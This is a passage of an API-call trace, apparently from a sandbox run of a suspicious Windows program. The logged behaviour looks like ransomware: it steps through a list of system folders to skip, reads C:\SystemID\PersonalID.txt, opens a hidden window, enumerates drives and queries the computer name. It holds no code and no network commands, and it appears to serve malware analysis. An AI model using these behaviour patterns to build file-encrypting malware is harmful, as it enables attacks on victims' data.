dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1049 | out: lpWideCharStr="D:\\ProgramData\\Microsoft\\") returned 26 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3278460 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1053 | out: lpWideCharStr="D:\\ProgramData\\Package Cache\\") returned 30 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x3262030, cchWideChar=1040 | out: lpWideCharStr="D:\\Users\\Public\\") returned 17 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3262030 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x3262030, cchWideChar=1040 | out: lpWideCharStr="D:\\$Recycle.Bin\\") returned 17 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3262030 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x3262030, cchWideChar=1040 | out: lpWideCharStr="D:\\$WINDOWS.~BT\\") returned 17 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3262030 | out: hHeap=0x660000) returned 1 [0111.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32d2118, cchWideChar=1032 | out: lpWideCharStr="D:\\dell\\") returned 9 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32d2118 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32d2118, cchWideChar=1033 | out: lpWideCharStr="D:\\Intel\\") returned 10 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32d2118 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32d2118, cchWideChar=1036 | out: lpWideCharStr="D:\\MSOCache\\") returned 13 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32d2118 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32d2118, cchWideChar=1041 | out: lpWideCharStr="D:\\Program Files\\") returned 18 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32d2118 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32d3180, cchWideChar=1047 | out: lpWideCharStr="D:\\Program Files (x86)\\") returned 24 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32d3180 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32d2118, cchWideChar=1033 | out: lpWideCharStr="D:\\Games\\") returned 10 [0111.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32d2118 | out: hHeap=0x660000) returned 1 [0111.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x326c3e0, cbMultiByte=-1, lpWideCharStr=0x32d41f0, cchWideChar=1060 | out: lpWideCharStr="E:\\Users\\%username%\\AppData\\Roaming\\") returned 37 [0111.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32d41f0 | out: hHeap=0x660000) returned 1 [0111.429] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18be78, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0111.432] GetFileType (hFile=0x5c0) returned 0x1 [0111.432] ReadFile (in: hFile=0x5c0, lpBuffer=0x32bafa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18bee0, lpOverlapped=0x0 | out: lpBuffer=0x32bafa0*, lpNumberOfBytesRead=0x18bee0*=0x2a, lpOverlapped=0x0) returned 1 [0111.432] GetLastError () returned 0x0 [0111.432] SetLastError (dwErrCode=0x0) [0111.432] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.433] SetLastError (dwErrCode=0x0) [0111.433] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] GetLastError () returned 0x0 [0111.438] SetLastError (dwErrCode=0x0) [0111.438] GetLastError () returned 0x0 [0111.438] SetLastError (dwErrCode=0x0) [0111.438] GetLastError () returned 0x0 [0111.438] SetLastError (dwErrCode=0x0) [0111.438] GetLastError () returned 0x0 [0111.438] SetLastError (dwErrCode=0x0) [0111.438] GetLastError () returned 0x0 [0111.438] ReadFile (in: hFile=0x5c0, lpBuffer=0x32bafa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18bee0, lpOverlapped=0x0 | out: lpBuffer=0x32bafa0*, lpNumberOfBytesRead=0x18bee0*=0x0, lpOverlapped=0x0) returned 1 [0111.438] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0111.439] RegisterClassExW (param_1=0x18c0f0) returned 0xc129 [0111.439] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1015c [0111.450] NtdllDefWindowProc_W () returned 0x0 [0111.450] NtdllDefWindowProc_W () returned 0x1 [0111.452] NtdllDefWindowProc_W () returned 0x0 [0111.455] NtdllDefWindowProc_W () returned 0x0 [0111.455] ShowWindow (hWnd=0x1015c, nCmdShow=0) returned 0 [0111.455] UpdateWindow (hWnd=0x1015c) returned 1 [0111.455] GetLogicalDrives () returned 0x4 [0111.455] SetErrorMode (uMode=0x1) returned 0x0 [0111.455] PathFileExistsA (pszPath="C:\\") returned 1 [0111.456] SetErrorMode (uMode=0x0) returned 0x1 [0111.456] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x806) returned 0x32d2118 [0111.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c0a8, cbMultiByte=-1, lpWideCharStr=0x32d2118, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32d3180 [0111.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32d2118 | out: hHeap=0x660000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x713d80 [0111.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32d3180 | out: hHeap=0x660000) returned 1 [0111.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x713d80 | out: hHeap=0x660000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x713d80 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x328d830 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x110) returned 0x3260218 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32d2118 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32dbfc8 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10e0) returned 0x32bafa0 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf2c8 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32d3180 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x660) returned 0x3278460 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32dc850 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32dd0d8 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32dd960 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32de1e8 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32dea70 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32ea618 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32df2f8 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32dfb80 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32bc088 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x32bc8d0 [0111.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x32eae60 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32e0408 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32e0c90 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32eb6c8 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32ebf10 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32e1518 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32e1da0 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32e2628 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32e2eb0 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32e3738 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32e3fc0 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32e4848 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32e50d0 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32e5958 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32e61e0 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x32ec758 [0111.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x32ecfc0 [0111.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32e6a68 [0111.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32e72f0 [0111.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32e7b78 [0111.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32ed828 [0111.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32ee070 [0111.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32e8400 [0111.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32e8c88 [0111.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32e9510 [0111.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32ee8d0 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32ef158 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32ef9e0 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32f0268 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32f0af0 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32f1378 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x32fe8b8 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x32ff120 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32f1c00 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32f2488 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32f2d10 [0111.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32ff988 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32f3598 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32f3e20 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32f46a8 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32f4f30 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32f57b8 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32f6040 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32f68c8 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32f7150 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32f79d8 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32f8260 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x33001d0 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x3300a38 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32f8ae8 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32f9370 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32f9bf8 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32fa480 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32fad08 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32fb590 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x32fbe18 [0111.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32fc6a0 [0111.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32fcf28 [0111.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251828 [0111.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32fd7b0 [0111.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32d6328 [0111.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x33012a0 [0111.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3301ab8 [0111.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x33022d0 [0111.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3302ae8 [0111.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3303318 [0111.462] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3303ba0 [0111.462] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf330 [0111.462] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3304428 [0111.462] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3304cb0 [0111.462] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3305538 [0111.462] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3305dc0 [0111.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x3260220, dwCreationFlags=0x0, lpThreadId=0x328d838 | out: lpThreadId=0x328d838*=0x67c) returned 0x3a8 [0111.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x6b8) returned 0x3a0 [0111.464] GetMessageW (lpMsg=0x18c2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0115.715] NtdllDefWindowProc_W () returned 0x0 [0123.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331b730 [0123.866] GetComputerNameW (in: lpBuffer=0x331b730, nSize=0x18bdf8 | out: lpBuffer="XDUWTFONO", nSize=0x18bdf8) returned 1 [0123.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba210 [0123.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331b730 | out: hHeap=0x660000) returned 1 [0123.866] IsWindow (hWnd=0x1015c) returned 1 [0123.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba210 | out: hHeap=0x660000) returned 1 [0207.330] NtdllDefWindowProc_W () returned 0x1 [0227.074] NtdllDefWindowProc_W () returned 0x1 Thread: id = 186 os_tid = 0x6bc Thread: id = 187 os_tid = 0x6d4 Thread: id = 188 os_tid = 0x6e4 Thread: id = 189 os_tid = 0x6e8 Thread: id = 190 os_tid = 0x6ec Thread: id = 191 os_tid = 0x6f4 Thread: id = 192 os_tid = 0x6f8 Thread: id = 276 os_tid = 0x628 Thread: id = 277 os_tid = 0x634 Thread: id = 278 os_tid = 0x670 [0110.877] 